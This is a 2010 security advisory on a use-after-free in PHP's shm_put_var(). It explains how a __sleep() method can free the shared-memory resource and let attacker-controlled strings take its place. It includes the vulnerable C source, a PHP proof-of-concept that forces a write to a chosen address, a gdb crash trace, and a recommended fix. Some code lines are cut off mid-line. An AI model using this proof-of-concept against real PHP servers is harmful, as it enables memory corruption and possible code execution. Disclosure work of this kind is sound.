MOPS-2010-009: PHP shm_put_var() Already Freed Resource Access Vulnerability

May 5th, 2010

When PHP's shm_put_var() function is interrupted by an object's __sleep() function it can destroy the shm resource used by this function which allows to write an arbitrary memory address.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

When PHP functions need to keep track of data structures they register resources with the Zend Engine. The resource system has reference counters but those only keep track of the PHP variables that point to the actual resource. There is however no usage counter that counts how many functions currently use the resource internally.

Because of this a special bug class exists in the PHP code. Whenever it is possible for usercode to interrupt a PHP function after it has acquired the resource data through the resource identifier, the usercode can destroy the resource and for example allocate a PHP string of the same size that will take the same place in memory as the freed resource. This PHP string can be used to create a special crafted resource that allows exploiting the internals of the PHP functions. When the malicious interruption ends the function will continue and use the replaced resource data.

One of the functions vulnerable to this kind of attack is the shm_put_var() function from the sysvshm extension.

```
PHP_FUNCTION(shm_put_var)
{
   ...

   if (SUCCESS != zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlz", &shm_id, &
      return;
   }

   SHM_FETCH_RESOURCE(shm_list_ptr, shm_id);

   /* setup string-variable and serialize */
   PHP_VAR_SERIALIZE_INIT(var_hash);
   php_var_serialize(&shm_var, &arg_var, &var_hash TSRMLS_CC);
   PHP_VAR_SERIALIZE_DESTROY(var_hash);

   /* insert serialized variable into shared memory */
   ret = php_put_shm_data(shm_list_ptr->ptr, shm_key, shm_var.c, shm_var.len);
```

Internally shm_put_var() calls the serialization functionality which will also serialize objects and call their __sleep() method. This __sleep() method can then destroy the shm resource, which allows to replace the shm_list_ptr structure in memory that is used in the call to php_put_shm_data(). This will write to arbitrary controlled memory.

```
static int php_put_shm_data(sysvshm_chunk_head *ptr, long key, const char *data, long len)
{
   sysvshm_chunk *shm_var;
   long total_size;
   long shm_varpos;

   ...

   shm_var = (sysvshm_chunk *) ((char *) ptr + ptr->end);
   shm_var->key = key;
   shm_var->length = len;
   shm_var->next = total_size;
   memcpy(&(shm_var->mem), data, len);
   ptr->end += total_size;
   ptr->free -= total_size;
   return 0;
}
```

Proof of concept, exploit or instructions to reproduce

The following exploit code will exploit the vulnerability and trigger a write to 0×4343434343434343 which crashs in the normal case.

```
<?php
   class dummy
   {
      function __sleep()
      {
         shm_detach($GLOBALS['r']);
         $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxA'] = "AAAAAAAABBB";
         $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxx'] = "AAAAAAAABBBBBBBBCCCCCCC
         return array();
      }
   }

   $r = shm_attach(0x7350);
   shm_put_var($r, 0x31337, new dummy());
?>
```

When executed the code trigers a write to 0×4343434343434343.

```
(gdb) run shm_put_var_interruption.php
Starting program: /usr/bin/php shm_put_var_interruption.php
Reading symbols for shared libraries .++++++++++++++++++.....................................................

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: 13 at address: 0x0000000000000000
0x0000000100292fd0 in zif_shm_put_var ()
(gdb) x/5i $rip
0x100292fd0 <zif_shm_put_var+234>:  mov    0x8(%rbx),%rdx
0x100292fd4 <zif_shm_put_var+238>:  mov    0x10(%rbx),%rcx
0x100292fd8 <zif_shm_put_var+242>:  mov    %rdx,%rsi
0x100292fdb <zif_shm_put_var+245>:  cmp    %rcx,%rsi
0x100292fde <zif_shm_put_var+248>:  jge    0x100293009 <zif_shm_put_var+291>
(gdb) i r $rbx $rcx $rdx $rsi
rbx            0x43434343434343 18932779609965379
rcx            0x0  0
rdx            0x101026800  4311902208
rsi            0x100b45678  4306785912
```

Notes

The correct way to fix this vulnerability is to implement a resource usage counter for internal functions. The curl extension of PHP already contains code that keeps track of internal usage of the resource and therefore is not vulnerable to this attack. We strongly recommend to merge this feature into the sysvshm extension